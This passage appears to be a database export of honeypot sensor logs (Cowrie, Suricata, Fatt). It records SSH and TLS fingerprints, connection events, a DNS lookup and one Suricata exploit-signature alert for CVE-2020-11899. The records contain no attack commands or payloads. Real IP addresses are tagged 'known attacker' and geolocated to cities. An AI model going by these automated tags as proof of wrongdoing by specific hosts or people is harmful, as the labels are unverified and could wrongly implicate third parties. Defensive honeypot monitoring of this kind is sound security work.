33770	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:57:21.061359+03	2021-09-20 15:00:06.280722+03	{"_id": "ugYRA3wBvYTbRNuEXFFI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "81.71.14.9", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 47726, "timestamp": "2021-09-20T11:57:21.061359", "@timestamp": "2021-09-20T11:57:21.061Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
33771	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:57:22.121475+03	2021-09-20 15:00:06.282723+03	{"_id": "wgYRA3wBvYTbRNuEXVHs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "1ee8dabc24b8", "@version": "1", "timestamp": "2021-09-20T11:57:22.121475Z", "@timestamp": "2021-09-20T11:57:22.121Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
33772	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:57:21.874024+03	2021-09-20 15:00:06.283722+03	{"_id": "wwYRA3wBvYTbRNuEXVHu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 87.112.251.105:33562 (192.168.176.2:22) [session: 1ee8dabc24b8]", "session": "1ee8dabc24b8", "@version": "1", "protocol": "ssh", "src_port": 33562, "dest_port": 22, "timestamp": "2021-09-20T11:57:21.874024Z", "@timestamp": "2021-09-20T11:57:21.874Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
33774	fe80:0000:0000:0000:7e01:82f4:3ece:6267	109.199.241.180	Suricata	2021-09-20 14:57:21.973701+03	2021-09-20 15:00:06.285723+03	{"_id": "xQYRA3wBvYTbRNuEX1Ej", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:57:21.973701+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 70}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:7e01:82f4:3ece:6267", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0002", "flow_id": 1907538708781957, "payload": "AAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 133, "timestamp": "2021-09-20T11:57:21.973701Z", "@timestamp": "2021-09-20T11:57:21.973Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...."}}	1	\N	\N	alert	\N	\N
33775	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:22.859212+03	2021-09-20 15:00:06.287722+03	{"_id": "0QYRA3wBvYTbRNuEYVHV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "d05e0179f43c", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:57:22.859212Z", "@timestamp": "2021-09-20T11:57:22.859Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
33776	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:57:22.861493+03	2021-09-20 15:00:06.288722+03	{"_id": "1wYRA3wBvYTbRNuEZFEc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "203.176.71.44", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 49934, "timestamp": "2021-09-20T11:57:22.861493", "@timestamp": "2021-09-20T11:57:22.861Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
33777	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:57:23.848516+03	2021-09-20 15:00:06.289721+03	{"_id": "2AYRA3wBvYTbRNuEZVG8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "6251f375727c", "@version": "1", "duration": 2.7887003421783447, "timestamp": "2021-09-20T11:57:23.848516Z", "@timestamp": "2021-09-20T11:57:23.848Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
33778	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:57:25.244743+03	2021-09-20 15:00:06.290723+03	{"_id": "4wYRA3wBvYTbRNuEalHe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 7745, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2829, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 218772600633402, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 60845, "timestamp": "2021-09-20T11:57:25.244743Z", "@timestamp": "2021-09-20T11:57:25.244Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
33779	203.176.71.44	109.199.241.180	Suricata	2021-09-20 14:57:25.470192+03	2021-09-20 15:00:06.292722+03	{"_id": "5AYRA3wBvYTbRNuEalHe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "203.176.71.44", "dest_ip": "192.168.20.116", "flow_id": 509146749517449, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 50037, "dest_port": 22, "timestamp": "2021-09-20T11:57:25.470192Z", "@timestamp": "2021-09-20T11:57:25.470Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
33780	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:57:25.154292+03	2021-09-20 15:00:06.295723+03	{"_id": "5QYRA3wBvYTbRNuEa1Hr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "203.176.71.44", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 50037, "timestamp": "2021-09-20T11:57:25.154292", "@timestamp": "2021-09-20T11:57:25.154Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
33781	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:57:25.293123+03	2021-09-20 15:00:06.296722+03	{"_id": "5gYRA3wBvYTbRNuEa1Hs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35884, "dest_port": 443, "timestamp": "2021-09-20T11:57:25.293123", "@timestamp": "2021-09-20T11:57:25.293Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
33782	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:57:25.332765+03	2021-09-20 15:00:06.297722+03	{"_id": "5wYRA3wBvYTbRNuEa1Hs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35884, "timestamp": "2021-09-20T11:57:25.332765", "@timestamp": "2021-09-20T11:57:25.332Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
33783	203.176.71.44	109.199.241.180	Fatt	2021-09-20 14:57:25.470369+03	2021-09-20 15:00:06.298722+03	{"_id": "6AYRA3wBvYTbRNuEa1Hs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "203.176.71.44", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": null, "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 50037, "dest_port": 22, "timestamp": "2021-09-20T11:57:25.470369", "@timestamp": "2021-09-20T11:57:25.470Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
33784	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:25.470971+03	2021-09-20 15:00:06.300722+03	{"_id": "8wYRA3wBvYTbRNuEbVGP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "ba2a289582e0", "@version": "1", "timestamp": "2021-09-20T11:57:25.470971Z", "@timestamp": "2021-09-20T11:57:25.470Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
33785	87.112.251.105	109.199.241.180	Suricata	2021-09-20 14:57:21.937815+03	2021-09-20 15:00:06.301722+03	{"_id": "xwYRA3wBvYTbRNuEX1Ej", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "87.112.251.105", "dest_ip": "192.168.20.116", "flow_id": 90329455867661, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 33562, "dest_port": 22, "timestamp": "2021-09-20T11:57:21.937815Z", "@timestamp": "2021-09-20T11:57:21.937Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
33786	87.112.251.105	109.199.241.180	Fatt	2021-09-20 14:57:22.120815+03	2021-09-20 15:00:06.302722+03	{"_id": "yAYRA3wBvYTbRNuEYFEx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "87.112.251.105", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": 